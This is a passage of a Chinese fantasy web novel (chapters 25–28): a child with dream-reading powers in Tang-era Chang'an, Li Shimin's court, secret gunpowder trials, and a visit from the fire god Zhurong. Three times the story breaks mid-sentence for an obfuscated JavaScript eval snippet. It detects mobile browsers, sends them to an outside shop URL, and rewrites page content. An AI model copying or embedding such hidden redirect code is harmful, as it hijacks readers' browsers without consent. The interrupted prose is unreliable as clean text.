房玄龄也笑着打趣:“看来魏大夫今日是手下留情了,未曾问出‘若糖中有毒,当先与谁尝’这等难题。” 众人轻笑。景颐虽不懂大人们笑什么,但能感觉到氛围轻松了很多,便也放松下来,好奇地看向魏征手中一直握着的那枚光润的象牙笏板。 那笏板质地细腻,在堂内光线下泛着温润的光泽,板身挺直,边缘圆滑,看着很适合拿来当小船在水里划。 他忍不住凑到魏征身边,伸出小手,轻轻碰了碰魏征垂在身侧的笏板边缘,小声问:“魏伯伯,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133980|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个板板,是写字用的吗?” 就在他指尖触碰到那冰凉坚硬的象牙表面的瞬间,极其轻微的一声,仿佛极细的琴弦被最轻柔的风拨动了一下。 景颐只觉得眼前似乎花了一下。 他仿佛看到,魏伯伯的身影,似乎和一种不断啄击着巨大、坚实树干的声音和意象重叠了一瞬。 那声音笃笃笃,不急不缓,却异常执着,仿佛要一直啄到树干回应为止。很严肃,有点吵,但那树干好像很坚硬,需要这样啄? 这感觉一闪而逝,快得如同错觉。景颐甩了甩头,再看魏征,还是那个严肃的魏伯伯,只是眼神似乎也有一刹那的恍惚,握着笏板的手指几不可察地收紧了些。 与此同时,房玄龄正端起茶盏,指尖触碰到温热的瓷壁时,也仿佛感到瞬间的恍惚,眼前似乎掠过一丝无数纤细丝线正在经纬交错、编织成复杂有序图案的幻影,那图案庞大而精密,令人望之心生赞叹,却又感到一丝维系其平衡的紧绷。 长孙无忌则是在景颐目光无意间扫过他腰间一枚青玉环佩时,感到玉佩似乎微不可察地温了一瞬,脑中莫名闪过几个模糊的、代表着不同势力或诉求的符号,正被一种圆融却坚韧的力量缓缓归拢、调和的画面。 连李世民,在景颐碰触魏征笏板时,心念似乎也被牵动,于刹那间,仿佛听到了许多不同的声音正汇聚而来,而自己高坐中央,需得分辨、权衡、然后给出一个能承载这些声音的回响。 这一切,都发生在呼吸之间。 堂内陷入了一种极短暂的、奇异的静默。炭火爆开一个灯花,“噼啪”一声,打破了沉寂。 景颐第一个回过神来,他茫然地眨了眨眼,忘了刚才那奇怪的感觉,注意力又被魏征的笏板吸引,仰头追问:“魏伯伯?” 魏征垂下眼帘,看了看自己的笏板,又看了看孩子纯然好奇的脸,方才那一闪而逝的、仿佛自己被某种执拗禽鸟精魂附体般的古怪感觉,让他素来清晰的思绪也产生了瞬间的迷惑。但他很快将其归咎于连日操劳后的刹那恍惚。 他定了定神,将笏板稍稍拿开些,语气恢复了一贯的平稳,对景颐解释道:“此乃朝臣奏事时所持之笏,用以记事,非为书写。” “哦……”景颐似懂非懂地点点头。 李世民也将心中那刹那的异样感压下,笑道:“好了,莫要缠着你魏伯伯了,今日便到此吧。” 几位大臣起身告退。离开政事堂时,房玄龄与长孙无忌交换了一个若有所思的眼神,方才那短暂奇异的共鸣感虽无法言说,却让他们心中对那位小郎君,又多了几分难以言喻的留意。魏征步伐依旧沉稳,只是握着笏板的手,比平日更紧了些。 景颐被李世民留在身边,吃了半块宫人刚送来的、新制的桂花糕,甜香软糯,立刻把什么笏板、什么奇怪感觉都抛到了脑后。 “李叔叔每天都要和房伯伯他们说这么久的话吗?”他腮帮子鼓鼓地问。 “是啊,”李世民将他抱到膝上,看着窗外又渐渐沥沥下起来的秋雨,“要管这么大一个家,方方面面都要想到,说不完的话,议不完的事。” “那魏伯伯……”景颐想起那个严肃的伯伯和笃笃笃的幻觉,小声说,“他说话好像啄木鸟。” 李世民一愣,随即朗声大笑,笑声在空旷的殿堂里回荡。 “啄木鸟……哈哈哈,妙!妙喻!”他揉着景颐的脑袋,眼中笑意深深,“是啊,就是要有这样的啄木鸟,时时啄一啄,这大唐的‘树干’才能长得更直,蛀虫才无处藏身。” 景颐不懂其中深意,只觉得李叔叔笑得开心,他便也跟着傻笑起来。 窗外秋雨潺潺,洗刷着宫殿的琉璃瓦。 而在更遥远的、雨云也无法抵达的高天之上,属于火焰的炽烈气息,正在某个星官的簿册上,缓缓勾勒出下一次降临人间的轨迹。 26.第 26 章 十一月末,长安落了今冬第一场雪。 凝云轩的屋檐覆上薄薄银妆,庭中那株老桂树的枝叶间缀着细雪,在晨光下晶亮亮的。 西厢房窗内,景颐裹着厚厚的锦被蜷成团子,只露出几缕睡得翘起的黑发,和半边红扑扑的脸颊。 “……天命之谓性,率性之谓道,修道之谓教。” 清朗稚嫩的诵读声穿透窗纸,带着冬日清晨特有的清冽感。 桂花树下,九殿下李治一身绯红小袄,捧着书卷站在石凳旁,呵出的白气氤氲在冻红的脸颊边。他已经站了两刻钟,从《中庸》首章读到了第五章。 这是景颐强烈要求的结果。一个月前,小家伙扯着长孙皇后的袖子信誓旦旦:“大姐姐!让雉奴来凝云轩和我一起读书吧!我保证早起!保证认真!” 然后他就创造了连续二十七天睡过头、被李治的读书声吵醒的记录。 “道也者,不可须臾离也,可离,非道也。是故君子戒慎乎其所不睹……” 李治背书声顿了顿,悄悄瞥向西厢窗户——没动静。他抿抿唇,抬高音量:“恐惧乎其所不闻!莫见乎隐!莫显乎微!故君子慎其独也!” “呜……” 窗内终于传来含糊的呜咽声。接着是窸窸窣窣的动静,一张睡眼惺忪的小脸贴到窗纸上,压扁了鼻子:“雉奴……你念到哪了……” 李治眼睛一亮:“景颐你醒啦!我刚背完第五章!” 房门“吱呀”推开,景颐胡乱裹着狐裘蹬着毛绒靴子跑出来,眼睛半眯着,脑袋上还翘着一撮呆毛。他凑到李治身边,就着小殿下举起的书卷瞄了一眼,顿时眼睛睁大:“这、这么多字?!” “是《中庸》,先生说开蒙后该读的。”李治认真道,“景颐你说要一起读书,我们今天从第一章开始好不好?” 景颐盯着那些密密麻麻的字,眼睛里浮起困惑的漩涡。他昨夜其实做了个很短的梦,梦里有个白胡子老头在竹简上刻字,刻着刻着竹简忽然长出叶子,老头气得跳脚。 但这和《中庸》有什么关系? “我、我觉得……”景颐眼神飘忽,“读书之前,得先考察一下环境!”他蹲下身,扒开桂树根部的积雪,“你看!蚂蚁都躲起来了!这说明天太冷不适合读书,适合烤栗子!” 李治眨眨眼:“可是先生说过,冬者岁之余,正是读书时……” “那是说大人!”景颐理直气壮站起来,雪花落在他睫毛上,“我们是小孩,小孩的冬天就该……”他忽然顿住,眼睛望向院门。 一袭青衣自月洞门缓步而来,衣袂拂过积雪却未沾湿半分。长琴肩头落着几片雪花,手中提着个藤编食盒,眉目间带着长途跋涉后的淡淡倦色,但眼神清润如旧。 “师父!”景颐眼睛一亮,像个小炮仗般冲过去,飞扑到他身上。 “先生。”李治规规矩矩行礼。 长琴颔首,将食盒放在石桌上:“从江南带的梅花糕,还热着。”他看向景颐,眼底有浅淡笑意,“听闻你这月闻鸡起舞,日日勤学?” 景颐耳朵尖红了,扒着石桌边缘偷瞄食盒:“我、我那是闻雉奴起舞,不对,闻雉奴读书而起……” 李治抿嘴笑:“景颐很用功的,昨日还教我认‘麒麟’二字怎么写呢。” 虽然景颐写出来的“麒”字少了一横,“麟”字多了一竖。 长琴也不拆穿,打开食盒。热气裹着梅花清香散开,莹白糕点做成五瓣梅形,中间点着嫣红糖心。 景颐咽了咽口水,却先捏起一块递给李治:“雉奴先吃!你念书念饿了!” 两个孩子坐在覆雪的石凳上吃糕点,长琴则拂去另一张石凳上的雪坐下,七弦琴凭空浮现膝上。他随手拨了几个音,清泠琴声荡开,院中积雪簌簌落下几簇。 “流云境的古木结果了。”长琴忽然道,指尖抚过琴弦,“这次回去,正是为了收那三枚光阴实。一枚已送回仙府镇压时间微尘,一枚留给景颐日后用,还有一枚……” 他看向甘露殿方向,没有说完。 景颐却捕捉到关键词:“果子?能吃吗?” “不能。”长琴摇头,“吃了你会看见自己从出生到现在的每一刻同时发生,怕是会晕上三天三夜。”他顿了顿,“不过,你最近溯梦可还安稳?” 景颐舔掉指尖的糖渣,歪头想了想:“就梦见竹简长叶子,还有……嗯,梦见李叔叔在玩火。” 李治手中的糕点差点掉下来:“耶耶玩火?!” “不是真的玩啦。”景颐比划着,“是很多小火苗在纸上跳,然后‘砰’一下!李叔叔就笑了,笑得好开心。” 长琴眸光微动。李世民的火药探索,看来已有进展。 此时甘露殿侧殿,确实弥漫着淡淡的硝烟味,但极其微弱,被窗边焚着的苏合香掩盖。 李世民面前的铜盆里,一小撮黑色粉末刚刚燃尽,留下焦痕。他将手中密折合上,看向垂首立于殿中的老者:“王匠人,依你估算,若要制成可百步外破甲之物,需多少时日?” 被称作王匠人的老者须发皆白,双手布满厚茧,是三代侍奉皇家的将作监大匠。 他沉吟片刻:“陛下,此物性烈,配比差一丝便有炸膛之险。老臣按您给的方子试了十七次,如今只能确保三十步内点燃,再远,则需解决引火与密封的难关。” “我给你时间。”李世民从案下取出一枚玄铁令牌,“即日起,你调任天工苑,所需物料走内库密账,一应人手由你亲选。记住,此事只对我一人负责,连太子问起也不得透露。” “老臣明白。” 王匠人退下后,李世民走到窗边推开半扇。冷风卷着雪沫扑进来,他深吸一口气,胸膛间那股灼热的悸动却未平息。梦中那惊天动地的爆炸威力,若能掌握…… “二郎。”长孙皇后的声音从身后传来,带着不赞同,“窗边风大,您昨夜批奏折到子时,当心着凉。” 李世民回身,握住她微凉的手:“观音婢,我近日总想起当年太原起兵时,父亲犹豫不决,是你说‘家国危难,当断则断’。” 他摩挲着她的指节,“如今我要做另一件当断则断的事,或许惊世骇俗,或许被后世诟病,但朕必须做。” 长孙皇后凝视他片刻,轻声道:“是为了那些梦吗?” “……是。” “那就做吧。”她微笑,“妾信二郎的判断。只是……” 她看向窗外凝云轩方向,“莫要让那孩子牵扯太深。景颐的眼睛太干净,不该过早看见这些。” 李世民将她揽入怀中,没有回答。 凝云轩内,真正的读书终于开始,虽然和想象中不太一样。 长琴没讲《中庸》,而是摊开一幅绢帛地图,上面用朱砂标着山川城池。景颐和李治趴在石桌两边,眼睛瞪得圆溜溜的。 “这是大唐疆域。”长琴指尖轻点长安位置,“景颐,若你是行军总管,粮草从洛阳运往凉州,走哪条路最快?” 景颐盯着地图,眼睛无意识泛起微光。那些线条在他眼中仿佛活了过来,河流奔涌,山脉起伏,他甚至“看见”几队虚影般的马车在不同道路上跋涉。 “走泾水!”景颐忽然指向一条蓝色曲线,“虽然绕一点,但不用翻那座大山!”他顿了顿,又犹豫,“可是冬天河水结冰了呀。” 李治小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138285|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充:“书上说,腊月冰厚三尺可走车马。” 长琴眼底掠过赞许:“不错。那么若在夏日呢?” “那就走这条直的!”景颐划出一条路线,“但是,这里有个峡谷。”他皱起小鼻子,“我梦见这里下大雨,石头滚下来把路堵了。” 李治惊讶:“景颐梦见的是何时的事?” “不知道呀,就看见好多穿绿衣服的人在那里搬石头,衣服上还有‘开皇’两个字。” 李治眼睛微微瞪大。开皇,是前朝隋文帝的年号,那是四十多年前的事了。 “梦境之事,可作参考,但不可尽信。”长琴温声道,“因为时间长河有无数支流,你看见的或许只是其中一条可能。” 他在地图上轻轻一拂,“就像这地图,今日是这样,百年后或许城池移位、河道改道,但那是后人的事了。我们能做的,是走好当下这条路。” 景颐似懂非懂地点头,李治却若有所思。 课后,长琴被李世民请去商议祭天乐章。两个孩子在院里堆雪人,景颐给雪人插上桂树枝当角,得意洋洋:“这是麒麟雪人!” 李治认真道:“麒麟是仁兽,该再堆个小兔子在它旁边,表示仁爱。” 两人正忙活着,院门外忽然传来欢快的脚步声。是丽质带着两个小宫女来了,小公主披着大红斗篷,怀里抱着个手炉:“景颐!雉奴!娘娘让我送姜蜜水来!还问你们要不要去立政殿看腊梅,花房刚送来两盆并蒂的!” 雪又悄悄下了起来,细碎的雪花落在孩子们的发梢、肩头。凝云轩里飘出姜蜜水的甜香,混着隐约的琴音与笑语,在初雪的长安午后,织成一段暖融融的时光。 与此同时,东宫崇文馆暖阁内,炭火烧得正旺。太子李承乾正与魏王李泰对弈,黑白子在檀木棋盘上交织。十三岁的太子眉目间已有沉稳气度,十一岁的李泰则圆脸带笑,执白子的手指肉乎乎。 “四弟这手小飞挂角,颇有舅父的风范。”李承乾落下一枚黑子,“不过攻势太急,左下角露出破绽了。” 李泰眨了眨眼睛:“大兄教训得是。泰只是想起前日读《孙子兵法》里‘其疾如风’一句,便想试试棋路如兵势。” 他忽然压低声音,“对了大兄,你可知近来耶耶常单独召见将作监的老匠人?” 李承乾执棋的手微不可察地顿了一下:“朝政之事,耶耶自有决断。” “可魏大夫前日上疏劝谏‘奇技淫巧非治国之本’,这事在弘文馆都传开了。”李泰凑近些,“我听闻,是和景颐有关?” “胡说什么。”李承乾面色微沉,“景颐才五岁,能懂什么奇技?” 李泰缩了缩脖子,但眼睛还是亮晶晶的:“我就是好奇嘛。而且大兄,你不觉得景颐很特别吗?他的眼睛,偶尔会变成金色,我亲眼见过一次。” 棋子“啪”地落在棋盘上。李承乾抬眼,目光里有兄长少见的严肃:“四弟,有些事情看见了也要当作没看见,记住了吗?” 暖阁内静了片刻。炭火噼啪作响,窗外雪花飘落。 李泰低下头,小声道:“知道了……”他重新看向棋盘,忽然转移话题,“对了大兄,元日大朝会快到了,我打算献一篇《瑞雪赋》给耶耶,你说怎么写比较好?” 李承乾神色缓和下来,替他理了理衣领:“诚心而作便好。不过记住,文章贵在真心,不在辞藻。父皇常说民为邦本,你若能在赋里提一句,会比单纯写宫阙更得圣心。” “谢大兄指点!”李泰笑开了,圆脸上露出两个酒窝。 兄弟俩继续对弈,暖阁里只剩下落子声。窗外,雪花无声覆盖东宫庭院,一切皆掩埋于纯白之下。 27.第 27 章 腊月二十八,长安城已经披上了浓重的年节气息。各坊市街巷挂起桃符、红灯,坊墙外飘着炊烟与炖肉的香气,孩童们穿着新裁的冬衣在雪地里追逐嬉闹,爆竹声零星响起,那是富贵人家提前试放庭燎用的竹节。 凝云轩内却是一片狼藉。 景颐、丽质和李治三个小人儿正蹲在廊下,围着一只硕大的铜盆。盆里泡着十几张红纸,旁边散落着裁歪的春联、剪坏了的窗花,以及一摊摊溅出来的墨汁。 “这个‘福’字……好像写反了?”李治举起一张红纸,上面墨迹淋漓的篆字左右颠倒。 “反福才吉利!叫‘福到’!”景颐理直气壮,眸子亮晶晶的。他脸上沾了好几道墨痕,像只花脸小猫,手里还攥着支快秃了的毛笔,“大姐姐说民间都这么贴!” 丽质捂嘴笑:“可你写的这是‘示’旁还是‘衣’旁呀?” 景颐低头看了看自己笔下那个歪歪扭扭的字,顿时泄气:“都怪这笔不听使唤……” 说着把毛笔往盆里一扔,墨汁溅起,李治躲闪不及,衣摆上顿时多了几点墨梅。 “呀!” “对不起对不起!” 三个孩子笑闹作一团,谁也没注意到廊柱旁何时倚了个身影。 “写春联呢?”带笑的声音响起,温和又清朗,“右边那张‘五谷丰登’,‘登’字少了一点。” 三人齐齐回头。只见一袭绛红锦袍的青年斜倚在柱边,墨发用赤金冠高高束起,眉目俊朗,唇角噙着漫不经心的笑意。冬日的阳光透过廊檐落在他身上,却仿佛被他周身那股暖融融的气息染得更亮了些。 景颐眨了眨眼,眼睛忽地瞪圆:“爷——” “叫哥哥。”青年走过来,很自然地伸手揉了揉景颐的脑袋,把那几缕本就乱翘的头发揉得更乱了,“几个月不见,墨汁都吃到脸上去了?”他指尖在景颐脸颊那点墨痕上一抹,墨迹竟凭空消失了。 丽质和李治都愣住了。小公主先反应过来,规规矩矩行了个万福礼:“不知这位先生是……” “路过的,看你们写春联有趣,凑个热闹。”青年摆摆手,注意力完全在景颐身上。他弯腰捡起盆里那张写反的“福”字,端详片刻,笑了,“心意是好的,字嘛……跟你师父小时候有一拼。” 景颐眼睛更亮了:“爷爷见过师父小时候写字?” “何止见过。”青年挑眉,“你师父三岁时第一次握笔,写了三天‘道’字,最后那张纸——”他拖长语调,眼底闪过促狭的光,“被他恼羞成怒点着了,差点烧了半个宫殿。” 话音未落,庭院里微风拂过。一袭白衣不知何时已立在廊下,长琴面沉如水,耳尖却透着微不可察的淡红。 “父亲。”他声音依旧清冷,却隐隐带着无奈,“您来便来,何必提这些旧事。” 这一声“父亲”让丽质和李治都睁大了眼睛。眼前这看起来不过二十七八的俊朗青年,竟是先生的父亲? 祝融哈哈一笑,转身面对儿子:“怎么,小时候的糗事还不让说了?”他踱步过去,很自然地拍了拍长琴的肩膀,“突然出现吓到你了?我算到你们在这儿,就直接过来了,上边那些繁文缛节,你知道我最不耐烦。” 长琴蹙眉:“您总是这样……” “这叫随性。”祝融不以为意,又回头冲景颐眨眨眼,“你师父小时候可比你规矩多了,哪像你,满脸墨汁还乐呵呵的。” 他从袖中摸出块饴糖,剥开塞进景颐嘴里,“走,带你逛街去,长安城的年集可比那些冷清宴会热闹。” 景颐含着糖,含糊不清:“可师父说要写完春联……” “我批假了。”祝融冲长琴扬眉,“有意见?” 长琴沉默两息,终究妥协:“……早点回来。” “放心!”祝融一手抱起景颐,另一手随意一挥,廊下凭空多出个食盒,“给你们带的蓬莱仙果,当赔我吓到你们的礼。” 话音未落,他与景颐的身影已如水中倒影般微微晃动,随即消散在空气中,只留下淡淡的、温暖如盛夏阳光的气息。 丽质和李治呆呆看着空荡荡的庭院。李治小声道:“先生,那位真是您父亲?” 长琴看着食盒,眼底掠过一丝极淡的笑意:“嗯。他性子向来如此,你们不必拘谨。”顿了顿,“今日之事,莫要外传。” 两个孩子乖巧点头。 腊月二十八的长安西市,热闹得像开了锅的汤圆铺子。景颐被祝融牵着挤进人流时,差点被扑面而来的各色香味熏了个跟头。 烤胡饼的焦香、炖羊肉的膻香、糖炒栗子的甜香,还有不知哪家飘出来的酒醋味儿,混在一起,热腾腾、闹哄哄。 “哇”景颐金眸瞪得溜圆,脑袋左转右转,看什么都新鲜。 “瞧你这没见过世面的样儿。”祝融笑他,随手从旁边摊上抄起个五彩风车,塞他手里,“拿着,吹口气试试。” 景颐鼓着腮帮子用力一吹,风车“哗啦啦”转起来,彩纸在冬日阳光下闪闪发亮。他乐了,举着风车跑了两步,回头冲祝融笑出一口小白牙。 “慢点!看路!”祝融嘴上喊着,随手付了钱,跟了上去,顺手又买了串糖葫芦,“喏,这个也得尝尝,过年标配。” 景颐左手风车右手糖葫芦,忙得不知先顾哪边。祝融看得直乐,干脆又买了包炒松子,自己磕着,顺手剥了几颗仁儿塞景颐嘴里。 两人就这么一路吃一路逛。看到耍猴戏的,祝融抱着胳膊点评:“这猴儿不够灵,我当年在昆仑山见过只白猿,会自己摘桃酿酒,那才叫本事。” 景颐听得眼睛发亮:“爷爷下次带我去看!” “行啊,等你师父点头。”祝融揉他脑袋。 走到捏面人的摊前,景颐挪不动步了。面人师傅正捏着条青龙,龙须纤细,鳞片分明。祝融蹲下来,指着景颐对师傅说:“照他样儿捏一个,要威风点的。” 师傅抬眼一看景颐,笑了:“这小公子生得俊,捏成个仙童吧?” “不,要麒麟。”景颐认真道,“金色的!” 师傅犯难了:“这……面人上色容易掉,金色不好弄啊。” 祝融眨了眨眼,手指在摊上一抹,那盒金粉忽然亮了几分:“用这个,保准不掉色。” 师傅半信半疑地试了试,嘿,金粉竟真服服帖帖地粘在面人上,阳光下金灿灿的。一只活灵活现的小金麒麟很快捏成了,昂首挺胸,憨态可掬。景颐捧着面人,笑得见牙不见眼。 “走,带你听戏去。”祝融付了钱,拉着景颐往坊市深处走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144088|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临街的茶楼里正跳着傩戏,咚咚锵锵的锣鼓声震天响。台上戴着狰狞面具的方相氏带着十二神兽驱疫逐鬼,跳得尘土飞扬。楼下观众喝彩声一浪高过一浪,果皮扔得满地都是。 祝融抱着景颐挤到前排,不知从哪摸出两个软垫,一人一个坐在门槛上。台上演到吞火那段时,那艺人喷出的火焰比人还高,观众一片惊呼。 祝融却撇嘴:“火候不够,真火得带点儿蓝边儿才好看。” 景颐转头看他:“爷爷能喷火吗?” “我?”祝融挑眉,“我喷火这楼就没了。”说着手指一弹,指尖窜出一簇小火苗,蓝汪汪的,像朵跳跃的花。火苗在他指尖跳了两下,变成只小火雀,扑棱棱飞到景颐肩膀上,暖烘烘的。 景颐咯咯直笑,小火雀蹭了蹭他脸颊,“噗”一声散了。 戏散场时已是午后。两人拐进条小巷,巷口有个卖醪糟的老汉,推车上架着口大锅,热气腾腾。祝融要了两碗,加了双份桂花蜜。冬日的寒风里,捧着热乎乎的碗,甜香直往鼻子里钻。 “爷爷,”景颐舀了颗圆子,忽然问,“要不要给师父带一碗?” 祝融笑了:“给他带?他挑得狠,嫌太甜,嫌太烫,嫌碗不干净。啧,难伺候得很。哪像你,给什么都吃得香。” “没有吧?”景颐疑惑道,“师父什么都吃啊,就是不吃我吃剩的。” 祝融哈哈大笑,“他装的,你没注意到他没吃几口吗?从前他就这样,不喜欢的东西,被我盯着才假模假样地吃几口,能得他青睐的,也就流云境清露蒸的茯苓糕。你说他挑不挑?” 景颐笑得差点呛着。 吃完醪糟,两人又逛到皮影戏摊子前。祝融财大气粗地包了场,让师傅专演《山海经》里的故事。景颐看得入迷,看到应龙降雨那段时,忍不住小声问:“爷爷见过真的应龙吗?” “见过啊,那家伙脾气大得很,上次跟他下棋输了,差点掀了我宫殿的屋顶。”祝融剥着橘子,“不过龙肉烤着吃是真香……” 景颐眼睛瞪圆了:“爷爷吃过龙?!” “骗你的。”祝融大笑,塞了瓣橘子给他,“神仙不许吃有灵智的,这是规矩。” 他们穿过大半个西市,来到朱雀街转角处一个不起眼的摊位。摊主是个戴着半边木雕面具的老婆婆,摊上摆满了各色傩戏面具,青面獠牙的、慈眉善目的、滑稽可笑的,在暮色中显得有些诡谲又神秘。 祝融在摊前蹲下,修长的手指拂过一排面具。老婆婆抬眼看他,独露在面具外的眼睛浑浊却敏锐。 “郎君要请神面?”老婆婆声音沙哑。 “给孩子请一个。”祝融把景颐拉到身前,“要活泼些的,别太凶。” 老婆婆盯着景颐看了片刻,慢慢从摊下摸出一张赤红面具。那面具雕工粗犷,额生双角,眼眶周围描着金漆,嘴角咧开一个大大的笑,看起来憨态可掬,却又隐隐有股灼人的气势。 “这个好。”祝融接过,举到景颐面前,“喜不喜欢?” 景颐眼睛发亮:“像爷爷!” 祝融大笑,把面具给他戴上。景颐透过眼孔看出去,整个世界都染上了暖洋洋的赤红色。他转头看祝融,发现爷爷也在看他,那双桃花眼里盛着温和的笑意。 28.第 28 章 暮色渐浓,太液池畔的积雪映着宫灯暖光,泛出橘粉色的微晕。李世民沿着池边石径缓步而行,狐裘大氅的下摆在残雪上拖出浅浅痕迹。 年关的千头万绪压在心头,陇右的雪灾奏报、新罗使臣的朝贺日程、元日大朝会的仪程……桩桩件件都需他亲自过目批阅。 此刻偷闲片刻,池面冰层倒映着渐暗的天色,倒让紧绷的神经稍松了松。 转过假山石,便见两个身影迎面走来。 是景颐,提着盏小兔子灯笼,蹦蹦跳跳的。牵着他的那人—— 李世民脚步微顿。 那是个看起来不过二十七八的青年,一袭靛蓝布衣在暮色中显得有些单薄,却不见半分畏寒之态。他眉目俊朗,嘴角噙着懒洋洋的笑,通身气度不似凡人。 “李叔叔!”景颐先看见了他,提着灯笼哒哒哒跑过来,脸上还沾着糖渍,“您也出来散步呀?” 李世民弯腰替他擦了擦脸,温声问:“去哪儿玩了?” “西市!爷爷带我吃了醪糟、看了皮影戏,还买了面具!”景颐扭身给李世民展示腰间挂着的威风凛凛的面具,又献宝似的举了举手里的油纸包,“这是桂花糕,爷爷说分给丽质和雉奴的。” 爷爷?李世民抬眼看向缓步走来的青年,压下心中疑惑,微微颔首:“有劳先生照顾景颐。” “顺手的事。”祝融摆摆手,目光在李世民脸上停留片刻,忽然笑了,“你就是李世民?” 这称呼让跟在后面的内侍倒吸一口凉气,直呼圣人名讳,这是大不敬! 李世民却摆摆手制止了内侍,神色平静:“正是。” “嗯,”祝融上下打量他,点了点头,“不错。” 这没头没尾的两个字,让周围空气静了一瞬。 “先生何出此言?”李世民问。 “就是顺眼。”祝融说得直白,“你身上有股劲儿,想做事、能做事的劲儿。不像我见过的那些。” 他顿了顿,瞥了眼皇宫西北方向,“尤其是你捣鼓的那个火玩意儿,虽然路子野了点,但想法挺好。” 李世民眸光一凝。火药之事乃绝密,此人…… “别紧张,”祝融像是看穿他心思,笑了,“我对那东西没兴趣。就是提醒你一句,火这玩意儿,你把它当工具,它就是利器,你把它当玩具,它就会反咬你一口。” 他弯腰拍了拍景颐的脑袋,“行了,跟你李叔叔玩儿去吧,我找你师父说几句话。” 说完真就把景颐往李世民身边一推,转身就走。 走出几步,他又回头,这次是对李世民说的:“对了,你那天工苑得找个靠水的地方。万一出事,泼水比跑路管用。” 话音落,人已消失在假山石后,只留下淡淡的、温暖如炭火的气息。 李世民站在原地,望着祝融消失的方向,良久不语。 “大家?”内侍小心唤了声。 李世民回神,低头看景颐。孩子正仰着脸,深褐色眸子在灯笼光里亮晶晶的:“李叔叔,爷爷很厉害吧?” “嗯,”李世民牵起他的手,往立政殿方向走,“是很厉害。” 他没再多问什么。有些事,心里明白就好。 只是方才祝融那番话,却让他连日来紧绷的心弦松了一松,就像个摸黑赶路的人,忽然听见前方传来同行者的脚步声。虽然看不清对方是谁,但知道不是独自一人,心里便踏实了。 “景颐,”他忽然问,“那位先生……是你师父的父亲?” “是呀!”景颐点头,“爷爷可疼师父了,虽然总说他小时候闷。” 李世民唇角微扬。他想起了自己几个孩子,即便性格迥异,他也都疼。 “你师父有福气。”他轻声说。 景颐用力点头:“师父是最好的!” 灯笼的光在雪地上投下暖黄的光晕,一大一小两个身影慢慢走远。 “走吧,你爷爷要和师父说话,咱们先回立政殿。”他牵起景颐的手,“丽质和雉奴在那儿玩着呢。” 凝云轩主屋内,烛火摇曳。 祝融大剌剌坐在长琴平日抚琴的蒲团上,手里把玩着一枚赤红玉佩。长琴站在窗前,背对着他,白衣在烛光下泛着淡淡光晕。 “父亲突然驾临,也不提前传个讯。”长琴的声音听不出情绪。 “提前说了,你又要摆香案备礼,麻烦。”祝融耸肩,“我就想看看你们在人间过得如何。嗯,不错,凝云轩虽小,倒有几分烟火气,比流云境那冷清样儿好。” 长琴转身,神色平静:“您来,不只是为了看我们吧?” “就是为了看你们。”祝融放下玉佩,正色道,“顺便给你送点东西。” 他从袖中取出一枚巴掌大的莹白贝壳,表面流转着淡蓝水纹,“东海归墟的水珏。没有这个你进不去。” 长琴接过贝壳,触手温凉:“您怎么知道……” “前些日子跑到我宫殿里翻古籍,以为我不知道?”祝融笑了,又从怀中取出一束泛着金光的丝弦,共七根,“前阵子逮了条在南海兴风作浪的恶蛟,抽筋做的琴弦。你那把凤来琴的弦该换了,这蛟筋弦音色清越,且能承载神力。” 长琴看着那束蛟筋弦,指尖微颤。 “别这副表情。”祝融起身,走到他面前,“你小时候我忙,没怎么陪你。现在补上,不行么?” 他顿了顿,声音低下来,“景颐那孩子,血脉天赋正在觉醒。往后溯梦会更频繁,你多留心。若实在压不住,别忘了家里还有个老家伙。” “儿明白。” 祝融在屋里踱了两步,随手拨了下琴案上的七弦琴,铮铮几声,音色清越。 “你这地方选得不错,”他转身靠在窗边,“虽在皇宫,却够僻静。李世民那小子也挺有意思。” 长琴将琴弦仔细收好:“父亲似乎对他印象不错。” “嗯,顺眼。”祝融说得随意,“有野心,但不贪,有手段,但不毒。最难得的是,”他顿了顿,“他真想把事做好,不是做给人看的那种。” 长琴抬眼:“父亲很少这样评价凡人。” “所以难得啊。”祝融笑了,“行了,时间差不多了。你多和景颐玩玩,那孩子跟你亲,是好事。” 临走前,祝融又从怀中摸出个小锦囊,塞给长琴:“给景颐的压岁礼,白日忘了,等下你转交给他。” 他走到门边,推门前又回头看了眼长琴。烛光下,儿子的侧脸清俊如旧,只是眉宇间少了年少时的孤冷,多了几分人间烟火温养出的柔和。 祝融眼底掠过一丝欣慰。 “对了,”他忽然想起什么,“东海归墟那地方,潮汐有定时。明年开春三月,海眼最稳,要去就那时候去。” “儿记下了。” “嗯。”祝融摆摆手,“走了。过年多吃点,别总清汤寡水的,你看景颐那圆脸蛋多好。” 话音落,人已不见。 